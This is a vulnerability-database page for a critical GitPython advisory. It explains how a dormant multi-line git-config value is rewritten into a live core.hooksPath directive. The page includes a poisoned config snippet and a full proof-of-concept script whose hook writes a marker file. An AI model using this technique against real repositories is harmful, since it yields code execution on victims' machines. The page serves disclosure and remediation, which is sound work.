Loading...
Skip to main content

CVE-2026-78676 — Vulnerability in gitpython — CVE Details

CRITICAL

GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

Published September 8, 2026Updated September 8, 2026Source: osv

Summary

- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ## Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ## Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim: ``` [core] ... zzz = A hooksPath = ../evil-hooks ``` 4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write. 5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution. ## Impact Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` "Newline injection... enables RCE via core.hooksPath" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write. ## Preconditions - A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `<anything>\n<injected-key> = <injected-value>`. Realistic delivery: 1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, "repo" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`. 2. **The documented shared-config `[include]` pattern** (`[include] path = ../<repo-tracked-file>`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`). 3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`). - No authentication/role requirement inside GitPython itself. ## Evidence - `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\n` escape into a real embedded LF. - `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace("\n", "\n\t")` with no re-quoting. - `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message. - `git log -S"string_decode"`, `-S"write_section"`, `-S'replace("\n", "\n\t")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix. - PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file. ## False-positive check (adversarial re-read) - **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery. - **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`. - Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written). ## Remediation Either (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file <path> --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path. ## Confidence High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD. ## Proof-of-Concept source (`gitpython-002-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value (standard quoted + backslash-continuation syntax, containing an escaped "\\n" that decodes to a real embedded newline in memory) is corrupted into a NEW, live config key the moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "hooksPath = <attacker path>", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. `git commit`). This is CWE-88/CWE-94 style argument/config injection, but via the READ path (a config file GitPython parses and later rewrites), not via a Python kwarg argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all guard the setter-argument surface only. Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir> Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a marker file; no destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc" repo_dir = os.path.join(workdir, "repo") hooks_dir = os.path.join(workdir, "evil-hooks") marker = os.path.join(workdir, "PWNED_MARKER.txt") for p in (repo_dir, hooks_dir): os.makedirs(p, exist_ok=True) if os.path.exists(marker): os.remove(marker) subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True) # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value # inside [core] (before any other section). No raw CR/LF/NUL byte is # written to disk here -- this is standard git config quoting + # backslash-line-continuation, decoded by both real git and GitConfigParser # into the Python string 'A\nhooksPath = ../evil-hooks'. cfg_path = os.path.join(repo_dir, ".git", "config") with open(cfg_path) as f: original = f.read() poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n' # Insert right after the [core] header line so it lives in the same section. new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1) with open(cfg_path, "w") as f: f.write(new_config) # Confirm it's inert per real git before touching GitPython. pre = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if pre.returncode == 0: print("SETUP ERROR: core.hookspath already set before GitPython touched anything") sys.exit(2) # Malicious hook: benign marker only. hook_path = os.path.join(hooks_dir, "pre-commit") with open(hook_path, "w") as f: f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker) os.chmod(hook_path, 0o755) import git # gitpython under test repo = git.Repo(repo_dir) before = repo.config_reader().get_value("core", "zzz") print("core.zzz before any GitPython write =", repr(before)) # ONE totally unrelated, benign write -- this is the only "attacker-adjacent" # action required, and it is something virtually every GitPython consumer # does routinely (setting an option, adding a remote, updating a branch's # tracking config, ...). with repo.config_writer() as cw: cw.set_value("user", "name", "Test User") post = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if post.returncode != 0: print("NOT VULNERABLE: core.hookspath still absent after the unrelated write") sys.exit(1) injected_path = post.stdout.strip() print("core.hookspath is now LIVE after one unrelated write:", injected_path) # Trigger the hook with a normal commit to prove it fires. with open(os.path.join(repo_dir, "file2.txt"), "w") as f: f.write("change\n") subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True) subprocess.run( ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T", "commit", "-q", "-m", "trigger hook"], check=True, ) if os.path.isfile(marker): with open(marker) as f: content = f.read().strip() print("VULNERABLE: hook fired, marker content =", content) sys.exit(0) else: print("NOT VULNERABLE: hook did not fire") sys.exit(1) if __name__ == "__main__": main() ```

Advisory Timeline

  • First published September 8, 2026 (34 days ago).
  • Last revised September 8, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update gitpython to 3.1.59 or later
pip install "gitpython>=3.1.59"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
gitpython
pypi
0.1.7, 0.2.0-beta1, 0.3.0-beta1, 0.3.0-beta2 (+107 more)3.1.59

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-78676?
GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-78676?
CVE-2026-78676 affects gitpython. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-78676 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-284h-m62q-gf8w
PYSEC-2026-3786

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies